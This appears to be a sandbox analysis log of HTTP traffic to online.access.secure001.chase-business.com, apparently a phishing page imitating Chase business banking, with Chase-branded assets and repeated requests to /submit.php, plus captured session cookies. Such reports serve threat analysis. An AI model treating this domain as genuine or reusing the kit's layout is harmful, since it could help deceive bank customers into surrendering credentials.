Source: global traffic	HTTP traffic detected: GET /web/auth/dashboard/dashboard/index/index HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /content/css/mds-chase-icons.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/blue-ui.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/logon.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/loader_big.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/loader.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/css/main.css HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /content/js/jquery3_3_1.min.js HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/js/main.js HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/js/main.js HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/js/jquery3_3_1.min.js HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/wordmark-white.svg HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.access.secure001.chase-business.com/content/css/logon.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/background.desktop.90018.jpeg HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/fonts/opensans-regular.woff HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://online.access.secure001.chase-business.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/fonts/opensans-bold.woff HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://online.access.secure001.chase-business.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/fonts/opensans-semibold.woff HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://online.access.secure001.chase-business.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/fonts/dcefont.woff HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://online.access.secure001.chase-business.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://online.access.secure001.chase-business.com/content/css/blue-ui.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/wordmark-white.svg HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/background.desktop.90018.jpeg HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /content/chasefavicon.ico HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/indexAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /content/chasefavicon.ico HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
Source: global traffic	HTTP traffic detected: GET /submit.php HTTP/1.1Host: online.access.secure001.chase-business.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e

Source: chromecache_144.2.dr, chromecache_148.2.dr	String found in binary or memory: Cf=y(["https://sandbox.google.com/tools/feedback/"]),Df=y(["https://www.google.cn/tools/feedback/"]),Ef=y(["https://help.youtube.com/tools/feedback/"]),Ff=y(["https://asx-frontend-staging.corp.google.com/inapp/"]),Gf=y(["https://asx-frontend-staging.corp.google.com/tools/feedback/"]),Hf=y(["https://localhost.corp.google.com/inapp/"]),If=y(["https://localhost.proxy.googlers.com/inapp/"]),Jf=U(lf),Kf=[U(mf),U(nf)],Lf=[U(of),U(pf),U(qf),U(rf),U(sf),U(tf),U(uf),U(vf),U(wf),U(xf)],Mf=[U(yf),U(zf)],Nf= equals www.youtube.com (Youtube)
